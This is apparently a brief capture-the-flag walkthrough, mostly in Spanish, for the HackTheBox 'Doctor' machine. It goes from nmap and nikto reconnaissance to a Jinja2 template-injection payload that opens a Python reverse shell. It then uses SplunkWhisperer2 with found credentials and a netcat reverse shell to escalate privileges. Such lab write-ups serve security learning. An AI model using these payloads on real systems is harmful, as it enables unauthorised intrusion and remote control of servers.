Doctor

Doctor


HTB Linux

nmap -A -p- -oA output 10.129.2.21 —min-rate=10000 —script=vuln —script-timeout=15 -v

ssh_command.

nmap -sC -sV -O -p- -oA doctor 10.129.2.21

nmap -sU -O -p- -oA doctor-udp 10.129.2.21

nikto -h 10.129.2.21:80

ssh_command.

whatweb 10.129.2.21

ssh_command.

http://10.129.2.21

ssh_command.

http://doctors.htb

Vemos que es una aplicacion con flask y python

ssh_command.

curl -s -X GET “http://doctors.htb/login?next=%2F” - I

ssh_command.

Registramos un usuario

ssh_command.

Vemos que se puede hacer un SSTI

ssh_command.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

Exploit the SSTI by calling Popen without guessing the offset

Vamos a new message y en el titulo ponemos

{% for x in ().class.base.subclasses() %}{% if “warning” in x.name %}{{x()._module.builtins’import’.popen(“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.125”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”, “-i”]);’“).read().zfill(417)}}{%endif%}{% endfor %}

Hacemos un refresh en:

http://doctors.htb/archive

git clone https://github.com/cnotin/SplunkWhisperer2

ssh_command.

python3 PySplunkWhisperer2_remote.py —host 10.129.2.21 —lhost 10.10.14.125 —username shaun —password Guitar123 —payload “nc.traditional -e /bin/bash 10.10.14.125”

ssh_command.

nc -lvnp 443

ssh_command.

© 2025 Cu3rv0x